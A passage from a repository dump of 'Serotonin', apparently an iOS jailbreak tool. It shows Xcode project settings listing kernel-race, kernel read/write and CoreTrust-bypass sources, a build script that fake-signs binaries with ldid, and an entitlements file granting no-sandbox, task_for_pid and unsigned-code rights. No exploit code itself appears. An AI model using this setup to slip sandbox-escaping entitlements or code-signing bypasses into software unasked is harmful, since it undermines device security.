base.h */,\n\t\t\t);\n\t\t\tpath = xpc;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXNativeTarget section */\n\t\tC81122992B15E7BB00AD077B /* usprebooter */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = C81122C42B15E7BD00AD077B /* Build configuration list for PBXNativeTarget \"usprebooter\" */;\n\t\t\tbuildPhases = (\n\t\t\t\tC81122962B15E7BB00AD077B /* Sources */,\n\t\t\t\tC81122972B15E7BB00AD077B /* Frameworks */,\n\t\t\t\tC81122982B15E7BB00AD077B /* Resources */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = usprebooter;\n\t\t\tpackageProductDependencies = (\n\t\t\t);\n\t\t\tproductName = usprebooter;\n\t\t\tproductReference = C811229A2B15E7BB00AD077B /* usprebooter.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\tC81122922B15E7BB00AD077B /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tBuildIndependentTargetsInParallel = 1;\n\t\t\t\tLastSwiftUpdateCheck = 1500;\n\t\t\t\tLastUpgradeCheck = 1500;\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\tC81122992B15E7BB00AD077B = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 15.0.1;\n\t\t\t\t\t\tLastSwiftMigration = 1500;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = C81122952B15E7BB00AD077B /* Build configuration list for PBXProject \"Serotonin\" */;\n\t\t\tcompatibilityVersion = \"Xcode 14.0\";\n\t\t\tdevelopmentRegion = en;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = C81122912B15E7BB00AD077B;\n\t\t\tpackageReferences = (\n\t\t\t);\n\t\t\tproductRefGroup = C811229B2B15E7BB00AD077B /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectReferences = (\n\t\t\t\t{\n\t\t\t\t\tProductGroup = C82AFF2F2B1762CE0070EA49 /* Products */;\n\t\t\t\t\tProjectRef = C82AFF2E2B1762CE0070EA49 /* RootHelperSample.xcodeproj */;\n\t\t\t\t},\n\t\t\t);\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\tC81122992B15E7BB00AD077B /* usprebooter */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\tC81122982B15E7BB00AD077B /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tD6F9CF412B4B306400274803 /* fastPathSign in Resources */,\n\t\t\t\tD6F9CF3F2B4B2F7D00274803 /* ct_bypass in Resources */,\n\t\t\t\tC82AFEF42B175AB80070EA49 /* Assets.xcassets in Resources */,\n\t\t\t\tC84002E92B4A55A300C73950 /* springboardshimsignedinjected in Resources */,\n\t\t\t\tC84002ED2B4A64E200C73950 /* launchdentitlements.plist in Resources */,\n\t\t\t\tC82AFF432B17AA6D0070EA49 /* ldid in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\tC81122962B15E7BB00AD077B /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tD6E08F552B48E24F00AE49BF /* URL+Transferable.swift in Sources */,\n\t\t\t\tC805CA452B1719C1005157BA /* util.m in Sources */,\n\t\t\t\tC8BFCCAA2B3FFE570008D8FD /* cs_blobs.m in Sources */,\n\t\t\t\tC81122DF2B16C9CC00AD077B /* troller.m in Sources */,\n\t\t\t\tC8BFCCA82B3FFE570008D8FD /* utils.m in Sources */,\n\t\t\t\tD6E08F4B2B48E24F00AE49BF /* CoreTypes.swift in Sources */,\n\t\t\t\tD6E0908E2B48E3A200AE49BF /* FluidGradientView.swift in Sources */,\n\t\t\t\tD6E08F5F2B48E24F00AE49BF /* TransferableRepresentation.swift in Sources */,\n\t\t\t\tD6E090112B48E26000AE49BF /* OwningController.swift in Sources */,\n\t\t\t\tD6E08F542B48E24F00AE49BF /* Data+Transferable.swift in Sources */,\n\t\t\t\tC83594D22B18F74600346F80 /* vm_unaligned_copy_switch_race.c in Sources */,\n\t\t\t\tD6E090162B48E26000AE49BF /* VisualEffect+iOS.swift in Sources */,\n\t\t\t\tD6E08F562B48E24F00AE49BF /* String+Transferable.swift in Sources */,\n\t\t\t\tD6E08F522B48E24F00AE49BF /* _ConditionalRepresentation.swift in Sources */,\n\t\t\t\tC83594CF2B18F70700346F80 /* overwriter.m in Sources */,\n\t\t\t\tD6E08F1E2B48B04E00AE49BF /* TheCoolerContentView.swift in Sources */,\n\t\t\t\tD6E08F5D2B48E24F00AE49BF /* Transferable.swift in Sources */,\n\t\t\t\tD6E08F502B48E24F00AE49BF /* Codable+Representation.swift in Sources */,\n\t\t\t\tD6E0908D2B48E3A200AE49BF /* ResizableLayer.swift in Sources */,\n\t\t\t\tD6E090122B48E26000AE49BF /* NSItemProvider+Async.swift in Sources */,\n\t\t\t\tC82AFF3A2B1768990070EA49 /* ContentView.swift in Sources */,\n\t\t\t\tD6E0900E2B48E26000AE49BF /* SafeArea.swift in Sources */,\n\t\t\t\tC82AFF392B17688E0070EA49 /* usprebooterApp.swift in Sources */,\n\t\t\t\tD6E090132B48E26000AE49BF /* UIScene.swift in Sources */,\n\t\t\t\tC8BFCCB42B427C0F0008D8FD /* Log.swift in Sources */,\n\t\t\t\tD6E08F4D2B48E24F00AE49BF /* URLSession+Async.swift in Sources */,\n\t\t\t\tD6E08F5E2B48E24F00AE49BF /* TransferRepresentationBuilder.swift in Sources */,\n\t\t\t\tD6E08F532B48E24F00AE49BF /* File+Representations.swift in Sources */,\n\t\t\t\tD6E0908C2B48E3A200AE49BF /* BlobLayer.swift in Sources */,\n\t\t\t\tD6E08F582B48E24F00AE49BF /* AttributedString+Transferable.swift in Sources */,\n\t\t\t\tC8BFCCA62B3FFE570008D8FD /* dir.m in Sources */,\n\t\t\t\tD6E0908F2B48E3A200AE49BF /* CGPoint+Extensions.swift in Sources */,\n\t\t\t\tD6E0907C2B48E26000AE49BF /* Detents.swift in Sources */,\n\t\t\t\tC8BFCCAC2B3FFE570008D8FD /* offsets.m in Sources */,\n\t\t\t\tD6E08F5C2B48E24F00AE49BF /* NSItemProvider+Transferable.swift in Sources */,\n\t\t\t\tC8BFCCA42B3FFE570008D8FD /* fun.m in Sources */,\n\t\t\t\tC8BFCCAB2B3FFE570008D8FD /* krw.c in Sources */,\n\t\t\t\tD6E090152B48E26000AE49BF /* String+LocalizationKey.swift in Sources */,\n\t\t\t\tD6E08F4C2B48E24F00AE49BF /* UTType.swift in Sources */,\n\t\t\t\tD6E0900F2B48E26000AE49BF /* Environment.swift in Sources */,\n\t\t\t\tD6E08F572B48E24F00AE49BF /* Never+Transferable.swift in Sources */,\n\t\t\t\tD6E08F4E2B48E24F00AE49BF /* Never+Representation.swift in Sources */,\n\t\t\t\tC8BFCCAE2B3FFE570008D8FD /* proc.c in Sources */,\n\t\t\t\tD6E090172B48E26000AE49BF /* VisualEffect+macOS.swift in Sources */,\n\t\t\t\tD6E08F592B48E24F00AE49BF /* Visibility.swift in Sources */,\n\t\t\t\tD6E08F4A2B48E24F00AE49BF /* UTTagClass.swift in Sources */,\n\t\t\t\tD6E08F5A2B48E24F00AE49BF /* SentTransferredFile.swift in Sources */,\n\t\t\t\t013141FF2B445B26006BEBE9 /* memoryControl.m in Sources */,\n\t\t\t\tD6E090102B48E26000AE49BF /* Environment+String.swift in Sources */,\n\t\t\t\tD6E090142B48E26000AE49BF /* Inspect.swift in Sources */,\n\t\t\t\tD6E08F5B2B48E24F00AE49BF /* ReceivedTransferredFile.swift in Sources */,\n\t\t\t\tD6E08F4F2B48E24F00AE49BF /* Tuple+Representation.swift in Sources */,\n\t\t\t\tD6E090852B48E26000AE49BF /* UIBackport.swift in Sources */,\n\t\t\t\tD6E090902B48E3A200AE49BF /* FluidGradient.swift in Sources */,\n\t\t\t\tC8BFCCAD2B3FFE570008D8FD /* vnode.m in Sources */,\n\t\t\t\tD6E0900D2B48E26000AE49BF /* Platforms.swift in Sources */,\n\t\t\t\tD6E08F512B48E24F00AE49BF /* Data+Representation.swift in Sources */,\n\t\t\t\tC8BFCCA92B3FFE570008D8FD /* thanks_opa334dev_htrowii.m in Sources */,\n\t\t\t\tD6E08F602B48E24F00AE49BF /* Backport.swift in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin XCBuildConfiguration section */\n\t\tC81122C22B15E7BD00AD077B /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++20\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tENABLE_USER_SCRIPT_SANDBOXING = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu17;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 17.0;\n\t\t\t\tLOCALIZATION_PREFERS_STRING_CATALOGS = YES;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_ACTIVE_COMPILATION_CONDITIONS = \"DEBUG $(inherited)\";\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tC81122C32B15E7BD00AD077B /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++20\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_USER_SCRIPT_SANDBOXING = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu17;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 17.0;\n\t\t\t\tLOCALIZATION_PREFERS_STRING_CATALOGS = YES;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_COMPILATION_MODE = wholemodule;\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tC81122C52B15E7BD00AD077B /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCODE_SIGN_IDENTITY = \"\";\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tCURRENT_PROJECT_VERSION = 1;\n\t\t\t\tDEVELOPMENT_TEAM = \"\";\n\t\t\t\tGENERATE_INFOPLIST_FILE = YES;\n\t\t\t\tINFOPLIST_FILE = usprebooter/Info.plist;\n\t\t\t\tINFOPLIST_KEY_CFBundleDisplayName = Serotonin;\n\t\t\t\tINFOPLIST_KEY_LSApplicationCategoryType = \"public.app-category.utilities\";\n\t\t\t\tINFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;\n\t\t\t\tINFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;\n\t\t\t\tINFOPLIST_KEY_UIMainStoryboardFile = Main;\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = \"UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = \"UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 15.5;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/RootHelperSample/launchdshim/launchdhook\",\n\t\t\t\t\t\"$(PROJECT_DIR)/RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook\",\n\t\t\t\t);\n\t\t\t\tMARKETING_VERSION = 1.0;\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = pisshill.usprebooter;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_EMIT_LOC_STRINGS = YES;\n\t\t\t\tSWIFT_OBJC_BRIDGING_HEADER = \"usprebooter/usprebooter-Bridging-Header.h\";\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tC81122C62B15E7BD00AD077B /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCODE_SIGN_IDENTITY = \"\";\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tCURRENT_PROJECT_VERSION = 1;\n\t\t\t\tDEVELOPMENT_TEAM = \"\";\n\t\t\t\tGENERATE_INFOPLIST_FILE = YES;\n\t\t\t\tINFOPLIST_FILE = usprebooter/Info.plist;\n\t\t\t\tINFOPLIST_KEY_CFBundleDisplayName = Serotonin;\n\t\t\t\tINFOPLIST_KEY_LSApplicationCategoryType = \"public.app-category.utilities\";\n\t\t\t\tINFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;\n\t\t\t\tINFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;\n\t\t\t\tINFOPLIST_KEY_UIMainStoryboardFile = Main;\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = \"UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = \"UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 15.5;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/RootHelperSample/launchdshim/launchdhook\",\n\t\t\t\t\t\"$(PROJECT_DIR)/RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook\",\n\t\t\t\t);\n\t\t\t\tMARKETING_VERSION = 1.0;\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = pisshill.usprebooter;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_EMIT_LOC_STRINGS = YES;\n\t\t\t\tSWIFT_OBJC_BRIDGING_HEADER = \"usprebooter/usprebooter-Bridging-Header.h\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\tC81122952B15E7BB00AD077B /* Build configuration list for PBXProject \"Serotonin\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tC81122C22B15E7BD00AD077B /* Debug */,\n\t\t\t\tC81122C32B15E7BD00AD077B /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tC81122C42B15E7BD00AD077B /* Build configuration list for PBXNativeTarget \"usprebooter\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tC81122C52B15E7BD00AD077B /* Debug */,\n\t\t\t\tC81122C62B15E7BD00AD077B /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\t};\n\trootObject = C81122922B15E7BB00AD077B /* Project object */;\n}\n"
  },
  {
    "path": "Serotonin.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n   version = \"1.0\">\n   <FileRef\n      location = \"self:/Users/ibarahime/usprebooter/Serotonin.xcodeproj\">\n   </FileRef>\n</Workspace>\n"
  },
  {
    "path": "Serotonin.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>IDEDidComputeMac32BitWarning</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "Serotonin.xcodeproj/xcuserdata/hariz.xcuserdatad/xcschemes/xcschememanagement.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>SchemeUserState</key>\n\t<dict>\n\t\t<key>usprebooter.xcscheme_^#shared#^_</key>\n\t\t<dict>\n\t\t\t<key>orderHint</key>\n\t\t\t<integer>0</integer>\n\t\t</dict>\n\t</dict>\n</dict>\n</plist>\n"
  },
  {
    "path": "Serotonin.xcodeproj/xcuserdata/ibarahime.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Bucket\n   uuid = \"EE2F7160-E349-4585-A3DC-F389A8D8ECBF\"\n   type = \"1\"\n   version = \"2.0\">\n</Bucket>\n"
  },
  {
    "path": "Serotonin.xcodeproj/xcuserdata/ibarahime.xcuserdatad/xcschemes/xcschememanagement.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>SchemeUserState</key>\n\t<dict>\n\t\t<key>usprebooter.xcscheme_^#shared#^_</key>\n\t\t<dict>\n\t\t\t<key>orderHint</key>\n\t\t\t<integer>0</integer>\n\t\t</dict>\n\t</dict>\n</dict>\n</plist>\n"
  },
  {
    "path": "build.sh",
    "content": "#!/bin/sh\nset -e # why wasn't this there earlier – bomberfish\necho \"Building IPA\"\nxcodebuild clean build -sdk iphoneos -configuration Release CODE_SIGN_IDENTITY=\"\" CODE_SIGNING_REQUIRED=NO CODE_SIGNING_ALLOWED=\"NO\"\necho \"done building\"\ncd RootHelperSample\nldid -Sentitlements.plist -Cadhoc ../usprebooter/ldid\nldid -Sentitlements.plist -Cadhoc ../usprebooter/fastPathSign\ngmake -j$(sysctl -n hw.ncpu)\nldid -Sentitlements.plist -Cadhoc .theos/obj/debug/arm64/trolltoolsroothelper\nmv .theos/obj/debug/arm64/trolltoolsroothelper ../build/Release-iphoneos/usprebooter.app/trolltoolsroothelper\ncd ../build/Release-iphoneos\nrm -rf Payload\nrm -rf FUCK.tipa\nmkdir Payload\ncp -r usprebooter.app Payload\nldid -S../../ent.plist -Cadhoc Payload/usprebooter.app/usprebooter\nzip -vr FUCK.tipa Payload/ -x \"*.DS_Store\"\n"
  },
  {
    "path": "ent.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>com.apple.developer.kernel.increased-memory-limit</key>\n\t<true/>\n\t<key>com.apple.private.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.security.container-required</key>\n\t<false/>\n\t<key>com.apple.private.security.no-container</key>\n\t<true/>\n\t<key>com.apple.private.security.no-sandbox</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension.proxy</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.app-state-manager</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.enable-disable-system-services</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.event-monitor</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-bootstrapper</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-outside-bundle</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.obliterator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-create.mbsetupuser</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-lookup</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.service-hold</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot-now</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-creator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-manager</key>\n\t<true/>\n\t<key>com.apple.private.persona-mgmt</key>\n\t<true/>\n\t<key>com.apple.private.xpc.service-attach</key>\n\t<true/>\n\t<key>com.apple.private.xpc.service-configure</key>\n\t<true/>\n\t<key>platform-application</key>\n\t<true/>\n\t<key>get-task-allow</key>\n\t<true/>\n\t<key>task_for_pid-allow</key>\n\t<true/>\n\t<key>run-unsigned-code</key>\n\t<true/>\n\t<key>com.apple.system-task-ports</key>\n\t<true/>\n\